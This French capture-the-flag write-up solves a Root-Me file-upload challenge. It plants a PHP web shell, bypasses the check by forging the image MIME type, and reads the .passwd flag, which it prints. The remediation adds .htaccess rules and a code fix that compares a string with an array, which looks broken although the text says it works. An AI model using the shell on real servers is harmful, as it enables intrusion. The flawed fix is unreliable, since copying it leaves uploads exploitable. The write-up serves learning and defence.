Aller au contenu

Samuel Manechez | File upload - Type MIME | M2i2020 | --- | ---| --- |

Avec Shell

Analyse du site

  • Galerie d'upload
  • Fichier uniquement en GIF, JPEG or PNG
  • "Wrong file" losque ce n'est pas un fichier autorisé

Analyse des requête HTTP

On observer une ligne application/w-php lorsqu'on essaie d'ajouter un fichier php.

before.png

Compromission

Création d'un fichier PHP cmd.php:

<?php
system($_GET['cmd']);
?>

Modification de le requête en image/png.

after.png

Ouverture de la réponse, le fichier php est bien uploader. Accédons à ce dernier et ajoutons ?cmd=pwd dans l'URL pour avoir le dossier racine de l'applications.

shell-pwd.png

Plus qu'à récupérer le flag à la racine : URL : view-source:http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/24c1fc3201ec15cf5713e6a1e1b30497//test5.php?cmd=cat%20../.passwd

cat /challenge/web-serveur/ch21/.passwd

a7n4nizpgQgnPERy89uanf6T4

shell-flag.png

Flag

Le flag a7n4nizpgQgnPERy89uanf6T4.

Sans Shell (Affichage de l'index avec coloration)

Création d'un script Shell

<?php highlight_file('../index.php') ; ?>

Upload

Envoyer le fichier via la page upload en modifier la requête HTTP POST :application/w-php en image/png.

Exploitation

php-color.png

Code source

<?php
// File upload : MIME type
session_start();

$galerie_dir = 'galerie';
$www_dir     = './galerie/upload/' . session_id() . '/';
$upload_dir  = getcwd() . '/' .$www_dir;

$aff= '<html><head><style>body { background: black; color: white; }</style></head><body><h1>Photo gallery v 0.03</h1><span id=menu/>';

if (isset($_GET["galerie"]) &&
        preg_match("/^[a-z]+$/", $_GET["galerie"]) &&
        file_exists($galerie_dir."/".$_GET["galerie"]))
    $galerie = $_GET["galerie"];
else
    $galerie = "pirate";


if (file_exists($galerie_dir)) {
    $d = opendir($galerie_dir);
    while ($file = readdir($d)) {
      if ($file[0] == ".") { }
      else {
          $aff .= "&nbsp;|&nbsp;<span><a href='?galerie=$file'>";
          if ($file == $galerie)
              $aff .= "<b>$file</b>";
          else
              $aff .= "$file";
          $aff .= "</a></span>";
      }
    }
    $aff .= "<br><hr>";
    closedir($d);
}


if (isset($_GET["action"]))
    $action = $_GET["action"];
else
    $action = "view";

if ($action == "view") {

    if (isset($galerie)) {
        if ($galerie == "upload") {
            $path = $www_dir;
        } else {
            $path = $galerie_dir . '/' . $galerie;
        }

        if (file_exists($path)) {
            $aff .= '<table id="content"><tr>';
            $d = opendir($path);
            $i = 0;
            while ($file = readdir($d)) {
              if ($file[0] == ".") { }
              else {
                  $aff .= "<td><a href='$path/$file'><img width=64px height=64px src='$path/$file?preview' alt='$file'></a></td>";
                  $i = $i+1;
              }

              if ($i%4 == 0)
                  $aff .= "</tr><tr>";
            }
            $aff .= '</tr></table>';
        }

        if ($galerie == "upload") {
            $aff .= '<br><p><a href="?action=upload">Upload</a> your photo !</p>';
        }
    }

} else if ($action == "upload") {

    if (isset($_FILES["file"])) {
        $allowedExts = array("jpg", "jpeg", "gif", "png");
        $allowedType = array("image/gif", "image/jpeg", "image/png");

        $extension = end(explode(".", $_FILES["file"]["name"]));

        if (($_FILES["file"]["size"] < 100000)) {

          if (in_array($_FILES["file"]["type"], $allowedType)) {

            $aff .= "File information&nbsp;:<br><ul>";
            if ($_FILES["file"]["error"] > 0)  {
                $aff .= "<ul>";
                $aff .= "<li>Error: " . $_FILES["file"]["error"] . "</li>";
            } else {
                $aff .= "<li>Upload: " . $_FILES["file"]["name"] . "</li>";
                $aff .= "<li>Type: " . $_FILES["file"]["type"] . "</li>";
                $aff .= "<li>Size: " . ($_FILES["file"]["size"] / 1024) . " kB</li>";
                $aff .= "<li>Stored in: " . $WWW_DIR . "/". $_FILES["file"]["name"]."</li>";
            }
            $aff .= "</ul>";

            if (! file_exists($upload_dir)) {
                mkdir($upload_dir, 0750);
            }

            if (move_uploaded_file($_FILES["file"]["tmp_name"], $upload_dir."/".$_FILES["file"]["name"])) {
                $aff .= "<b>File uploaded</b>.";
            } else {
                $aff .= "<p style='color: red'>Error during upload</p>";
            }
          } else {
              $aff .= "<p style='color: red'>Wrong file type !</p>";
          }
        } else {
            $aff .= "<p style='color: red'>File size too big !</p>";
        }
    } else {
        $aff .= "<p><b>Upload your photo</b></p>";
        $aff .= "<form method=post enctype='multipart/form-data'>";
        $aff .= "<input type=file name=file />";
        $aff .= "<input type=submit value=upload />";
        $aff .= "</form>";
        $aff .= "<br><br><i>NB : only GIF, JPEG or PNG are accepted</i>";
    }
}

$aff .= "</body></html>";
echo $aff;

?>

Flag

De même pour récuprérer le flag :

<?php highlight_file('../.passwd') ; ?>

Modifier la requête HTTP POST : application/w-php en image/png.

Affichage du flag :

sans-shell-flag.png

Correction

Modification du code originale

Modification de la ligne 83 :

  • Avant :
 if (in_array($_FILES["file"]["type"], $allowedType))

Après :

 if (in_array($_FILES["file"]["type"], $allowedType)&& $extension == $allowedExts)

La modification de la requête ne fonctionne plus. Dans tous les cas nous avons "Wrong file type".

block.png

Restriction .htaccess v1

Ajout d'une restriction .htaccess. Avant tout il faut modifier la configuration apache pour activer la prise en charge du fihcier .htaccess.

sudo nano /etc/apache2/apache2.conf 

Répérer la ligne Directory, correspondant au dossier ou se trouve votre index.

apache2conf.png

Remplacer AllowOverride None par AllowOverride All.

Redémarrer le service :

sudo systemctl restart apache2

Créer un fichier .htaccess sous /var/www/html/galerie/upload/ avec ce contenu à l'intrérieur :

# 07/11/2019 10:37:03

# https://httpd.apache.org/docs/2.4/handler.html
# default-handler: envoie le fichier en utilisant le default_handler(), qui est>

# Vilain Hacker : .php. => contenu statique.
# Le PHP n'est que pour les honnêtes gens !

<FilesMatch "\.php$">
    SetHandler default-handler
</FilesMatch>

AddDescription "Le contenu du .htaccess" htaccess

Le $ à la fin permet de selectionner que les fichier avec extension .php.

L'éxécution de fichier .php n'est plus fonctionnelle.

block.png

Restriction .htaccess v2

Une autre méthode est d'interdire l'ensemble des fichier .php excepté ceux autorisés.

Ajout d'une restriction .htaccess. Avant tout il faut modifier la configuration apache pour activer la prise en charge du fihcier .htaccess.

sudo nano /etc/apache2/apache2.conf 

Répérer la ligne Directory, correspondant au dossier ou se trouve votre index.

apache2conf.png

Remplacer AllowOverride None par AllowOverride All.

Redémarrer le service :

sudo systemctl restart apache2

Créer un fichier .htaccess sous /var/www/html/ (à la racine de l'application) avec ce contenu à l'intrérieur :

<Files *.php>
    Deny from all
</Files>

<Files index.php>
    Allow from all
</Files>

forbi.png